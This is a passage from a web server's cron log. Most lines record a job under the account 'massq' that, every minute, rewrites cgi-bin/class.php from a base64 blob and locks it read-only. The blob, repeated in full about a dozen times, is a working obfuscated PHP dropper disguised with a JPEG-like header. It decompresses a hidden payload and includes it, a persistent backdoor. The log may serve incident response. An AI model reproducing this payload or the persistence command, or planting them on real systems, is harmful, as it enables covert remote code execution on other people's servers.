"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:13:01 server CROND[16491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:14:01 server CROND[16544]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:15:01 server CROND[16609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:15:01 server CROND[16610]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 03:15:01 server CROND[16611]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 03:16:01 server CROND[16737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:17:01 server CROND[16790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:18:01 server CROND[16933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:19:01 server CROND[16986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:20:01 server CROND[17045]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 03:20:01 server CROND[17046]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 03:20:01 server CROND[17047]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 03:20:01 server CROND[17051]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 03:20:01 server CROND[17049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:21:01 server CROND[17161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:22:01 server CROND[17223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:23:01 server CROND[17280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:24:02 server CROND[17330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:25:01 server CROND[17485]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 03:25:01 server CROND[17486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
